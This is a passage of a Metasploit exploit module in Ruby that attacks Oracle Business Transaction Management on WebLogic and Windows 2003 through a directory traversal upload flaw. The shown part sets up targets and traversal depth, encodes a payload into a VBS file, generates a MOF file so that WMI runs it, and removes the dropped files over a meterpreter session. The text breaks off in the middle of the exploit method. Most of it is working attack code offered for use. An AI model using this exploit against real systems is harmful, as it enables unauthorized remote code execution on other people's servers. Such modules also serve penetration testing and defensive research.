The same method contains a directory traversal vulnerability, which allows to upload the files to arbitrary locations. In order to execute remote code two techniques are provided. If the Oracle app has been deployed in the same WebLogic Samples Domain a JSP can be uploaded to the web root. If a new Domain has been used to deploy the Oracle application, the Windows Management Instrumentation service can be used to execute arbitrary code. Both techniques has been successfully tested on default installs of Oracle BTM 12.1.0.7, Weblogic 12.1.1 and Windows 2003 SP2. Default path traversal depths are provided, but the user can configure the traversal depth using the DEPTH option. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery and PoC 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'OSVDB', '85087' ], [ 'BID', '54839' ], [ 'EDB', '20318' ] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Payload' => { 'DisableNops' => true, 'Space' => 2048, 'StackAdjustment' => -3500 }, 'Platform' => [ 'java', 'win' ], 'Targets' => [ [ 'Oracle BTM 12.1.0.7 / Weblogic 12.1.1 with Samples Domain / Java', { 'Arch' => ARCH_JAVA, 'Depth' => 10 }, ], [ 'Oracle BTM 12.1.0.7 / Windows 2003 SP2 through WMI', { 'Arch' => ARCH_X86, 'Platform' => 'win', 'Depth' => 13 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 07 2012')) register_options( [ Opt::RPORT(7001), OptInt.new('DEPTH', [false, 'Traversal depth']) ], self.class) end def on_new_session(client) return if not @var_mof_name return if not @var_vbs_name if client.type != "meterpreter" print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.") print_error("The vbs payload (C:\\windows\\system32\\#{@var_vbs_name}.vbs) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof) must be removed manually.") return end # stdapi must be loaded before we can use fs.file client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") cmd = "C:\\windows\\system32\\attrib.exe -r " + "C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof" client.sys.process.execute(cmd, nil, {'Hidden' => true }) begin print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...") client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs") print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...") client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof") rescue ::Exception => e print_error("Exception: #{e.inspect}") end end def exploit peer = "#{rhost}:#{rport}" if target.name =~ /WMI/ # In order to save binary data to the file system the payload is written to a .vbs # file and execute it from there. @var_mof_name = rand_text_alpha(rand(5)+5) @var_vbs_name = rand_text_alpha(rand(5)+5) print_status("Encoding payload into vbs...") my_payload = generate_payload_exe vbs_content = Msf::Util::EXE.to_exe_vbs(my_payload) print_status("Generating mof file...") mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs") if not datastore['DEPTH'] or datastore['DEPTH'] == 0 traversal = "..\\" * target['Depth'] else traversal = "..\\" * datastore['DEPTH'] end traversal << "WINDOWS\\system32\\#{@var_vbs_name}.vbs" print_status("#{peer} -
